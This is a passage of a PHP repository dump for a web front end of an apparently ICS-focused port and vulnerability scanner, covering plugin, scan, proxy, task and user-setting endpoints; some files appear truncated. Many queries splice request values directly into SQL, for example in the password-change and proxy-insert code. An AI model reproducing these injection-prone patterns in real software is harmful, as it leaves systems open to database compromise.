var_dump($row); 21 | } 22 | return $ret; 23 | } 24 | 25 | function get_code($name='',$id=1){ 26 | // $pName = check_sql($name); 27 | $query = "SELECT Code FROM Plugin WHERE Name='$name'"; 28 | // print($query.'
'); 29 | // $ret = array('data' => array(), ); 30 | $result = mysql_query($query); 31 | if ($row = mysql_fetch_row($result)) { 32 | // $code = check_xss($row[0]); 33 | $code = $row[0]; 34 | // print $code.'
'; 35 | return check_xss($code); 36 | } 37 | } 38 | 39 | $type = check_sql(trim($_REQUEST['type'])); 40 | $keyword = check_sql(trim($_REQUEST['keyword'])); 41 | $name = check_sql(trim($_REQUEST['name'])); 42 | // print($type.$name); 43 | if ($name and $name!='') { 44 | $data = get_code($name); 45 | // var_dump($data); 46 | // echo json_encode($data); 47 | echo $data; 48 | } 49 | else{ 50 | $data = search_plugin($type,$keyword); 51 | echo json_encode($data); 52 | } 53 | ?> -------------------------------------------------------------------------------- /web/plugins_update.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 11 | 12 | alert('update plugins successful !');window.location.href='http://localhost/ICSScan/web/plugins.php';"; 17 | } 18 | else { 19 | echo ""; 20 | } 21 | ?> -------------------------------------------------------------------------------- /web/portscans_add.php: -------------------------------------------------------------------------------- 1 | 4 | 10 | 11 | -------------------------------------------------------------------------------- /web/portscans_search.php: -------------------------------------------------------------------------------- 1 | '; 11 | } 12 | else{ 13 | die(); 14 | } 15 | // echo $userid . '
'; 16 | // print $pLevel.$pKeyword; 17 | $query = "SELECT id,host,ics_port,common_port,time FROM PortScans WHERE id > 0"; 18 | if ($pKeyword !='') { 19 | $query .= " AND host LIKE '%$pKeyword%'"; 20 | } 21 | if (is_int($pId) and $pId>0) { 22 | $query .= " AND ID=$pId"; 23 | } 24 | 25 | // echo $query.'
'; 26 | 27 | $ret = array('data' => array(), ); 28 | $result = mysql_query($query); 29 | while ($row = mysql_fetch_row($result)){ 30 | // var_dump($row); 31 | foreach ($row as $key => $value){ 32 | // echo $key.' => '.$value; 33 | $row[$key] = check_xss($value); 34 | } 35 | $ret['data'][] = $row; 36 | // var_dump($row); 37 | } 38 | return $ret; 39 | } 40 | ?> 41 | -------------------------------------------------------------------------------- /web/proxy.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/web/proxy.php -------------------------------------------------------------------------------- /web/proxy_add.php: -------------------------------------------------------------------------------- 1 | 9 | $proxy) { 21 | $port =intval($proxy[1]); 22 | if ($proxy[3]) { 23 | $type = 'https'; 24 | } 25 | else{ 26 | $type = 'http'; 27 | } 28 | $latency = intval($proxy[5]); 29 | $reliablity = intval($proxy[6]); 30 | 31 | $query = "INSERT INTO Proxy(IP_Addr,Port,Type,Address,Latency,Reliability) VALUES('$proxy[0]',$port,'$type','$proxy[4]',$latency,$reliablity)"; 32 | // echo $query . '
'; 33 | $result = mysql_query($query); 34 | if ($result) { 35 | // echo 'True
'; 36 | $success +=1; 37 | } 38 | else{ 39 | // echo 'False
'; 40 | $fail +=1; 41 | } 42 | } 43 | echo "success insert $success pieces proxies"; 44 | echo "fail insert $fail pieces proxies"; 45 | ?> -------------------------------------------------------------------------------- /web/proxy_search.php: -------------------------------------------------------------------------------- 1 | 9 | '; 17 | $result = mysql_query($query); 18 | 19 | while ($row = mysql_fetch_row($result)){ 20 | $proxies[] = $row; 21 | } 22 | echo json_encode($proxies); 23 | ?> -------------------------------------------------------------------------------- /web/task_search.php: -------------------------------------------------------------------------------- 1 | '; 9 | $pKeyword = $keyword; 10 | $pId = $taskid; 11 | if ($userid = get_userid()) { 12 | // echo $userid . '
'; 13 | } 14 | else{ 15 | die(); 16 | } 17 | // echo $userid . '
'; 18 | // print $pLevel.$pKeyword; 19 | $query = "SELECT Task.ID,Task.Target,Task.Start_Time,Task.End_Time,Task.Arguments,Task.Status,User.Name,CONCAT(Dispatcher.ID,':',Dispatcher.MAC,':',Dispatcher.OS,':',Dispatcher.IP) 20 | FROM Task 21 | INNER JOIN User ON Task.User_ID=User.ID 22 | LEFT JOIN Dispatcher ON Dispatcher.ID=Task.Dispatcher_ID 23 | WHERE Task.User_ID='$userid'"; 24 | if (is_int($pLevel) and $pLevel>0 and $pLevel<4) { 25 | $pLevel = ($pLevel==1)?'done':($pLevel==2?'running':($pLevel==3?'waiting':'others')); 26 | $query .= " AND Task.Status='$pLevel'"; 27 | } 28 | if ($pKeyword !='') { 29 | $query .= " AND Task.Target LIKE '%$pKeyword%'"; 30 | } 31 | if (is_int($pId) and $pId>0) { 32 | $query .= " AND Task.ID=$pId"; 33 | } 34 | 35 | // echo $query.'
'; 36 | 37 | $ret = array('data' => array(), ); 38 | $result = mysql_query($query); 39 | while ($row = mysql_fetch_row($result)){ 40 | // var_dump($row); 41 | foreach ($row as $key => $value){ 42 | // echo $key.' => '.$value; 43 | $row[$key] = check_xss($value); 44 | } 45 | $ret['data'][] = $row; 46 | // var_dump($row); 47 | } 48 | return $ret; 49 | } 50 | ?> 51 | -------------------------------------------------------------------------------- /web/test.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/test.py: -------------------------------------------------------------------------------- 1 | def echo(): 2 | return 1 3 | 4 | if __name__ == "__main__": 5 | print echo() -------------------------------------------------------------------------------- /web/user_setting.php: -------------------------------------------------------------------------------- 1 | 9 | 0, ); 13 | switch ($type) { 14 | case 'changepwd': 15 | $oldpwd = trim($_REQUEST['oldpwd']); 16 | $newpwd = trim($_REQUEST['newpwd']); 17 | 18 | $oldpwdhash = pwd_encode($username,$oldpwd); 19 | 20 | $query = "SELECT ID FROM User WHERE Name='$username' AND Password='$oldpwdhash'"; 21 | $result = mysql_query($query); 22 | $row = mysql_fetch_row($result); 23 | // var_dump($row); 24 | if (count($row) && $id=intval($row[0])) { 25 | // echo '$id='.$id.'
'; 26 | $newpwdhash = pwd_encode($username,$newpwd); 27 | $query = "UPDATE User SET Password= '$newpwdhash' WHERE ID = '$id'"; 28 | $result = mysql_query($query); 29 | // var_dump($result); 30 | if ($result) { 31 | $ret['code'] = 1; 32 | $ret['info'] = 'change password success'; 33 | } 34 | else{ 35 | $ret['info'] = 'something wrong'; 36 | } 37 | } 38 | else{ 39 | $ret['info'] = 'password wrong'; 40 | } 41 | break; 42 | 43 | case 'getinfo': 44 | $query = "SELECT ID FROM User WHERE Name='$username'"; 45 | $result = mysql_query($query); 46 | $row = mysql_fetch_row($result); 47 | // var_dump($row); 48 | if (count($row) && $id=intval($row[0])) { 49 | $ret['code'] = 1; 50 | $ret['info'] = 'get user info success'; 51 | $ret['data'] = array('name' => $username, 'id' => $id); 52 | } 53 | else{ 54 | $ret['info'] = 'something wrong'; 55 | } 56 | break; 57 | 58 | default: 59 | # code... 60 | break; 61 | } 62 | echo json_encode($ret); 63 | ?> -------------------------------------------------------------------------------- /web/user_token_refresh.php: -------------------------------------------------------------------------------- 1 | 9 | '; 13 | $query = "UPDATE User SET Token = '$token' WHERE Name='$username'"; 14 | // echo '$query='.$query.''; 15 | $result = mysql_query($query); 16 | if ($row = mysql_fetch_array($result)) { 17 | // echo 'True'; 18 | } 19 | ?> 20 | -------------------------------------------------------------------------------- /web/vulns_search.php: -------------------------------------------------------------------------------- 1 | '; 7 | if ($userid = get_userid()) { 8 | // echo $userid . '
'; 9 | } 10 | else{ 11 | die(); 12 | } 13 | $query = "SELECT Vuln.IP_URL,Plugin.Name,Vuln.Vuln_Info,Vuln.Level FROM Plugin,Scan,Vuln WHERE Vuln.Scan_ID=Scan.ID AND Vuln.Plugin_ID=Plugin.ID AND Scan.ID=$scanID AND Scan.User_ID='$userid' ORDER BY Vuln.IP_URL,Vuln.Level,Vuln.ID"; 14 | // echo $query.'
'; 15 | 16 | $ret = array(); 17 | $result = mysql_query($query); 18 | while ($row = mysql_fetch_row($result)){ 19 | // var_dump($row); 20 | foreach ($row as $key => $value){ 21 | // echo $key.' => '.$value; 22 | $row[$key] = check_xss($value); 23 | } 24 | $ipurl = $row[0]; 25 | $ret[$ipurl][]=array_slice($row,1); 26 | } 27 | // var_dump($ret); 28 | return $ret; 29 | } 30 | ?> 31 | '; 39 | $data = search_vuln($scanID); 40 | echo json_encode($data); 41 | ?> -------------------------------------------------------------------------------- /web/vulscans_add.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 11 | 12 | -------------------------------------------------------------------------------- /web/vulscans_search.php: -------------------------------------------------------------------------------- 1 | '; 11 | } 12 | else{ 13 | die(); 14 | } 15 | // echo $userid . '
'; 16 | // print $pLevel.$pKeyword; 17 | $query = "SELECT ID,Url,poc_name,poc_id,status,time FROM Scan WHERE ID > 0"; 18 | if ($pKeyword !='') { 19 | $query .= " AND Url LIKE '%$pKeyword%'"; 20 | } 21 | if (is_int($pId) and $pId>0) { 22 | $query .= " AND ID=$pId"; 23 | } 24 | 25 | // echo $query.'
'; 26 | 27 | $ret = array('data' => array(), ); 28 | $result = mysql_query($query); 29 | while ($row = mysql_fetch_row($result)){ 30 | // var_dump($row); 31 | foreach ($row as $key => $value){ 32 | // echo $key.' => '.$value; 33 | $row[$key] = check_xss($value); 34 | } 35 | $ret['data'][] = $row; 36 | // var_dump($row); 37 | } 38 | return $ret; 39 | } 40 | ?> 41 | --------------------------------------------------------------------------------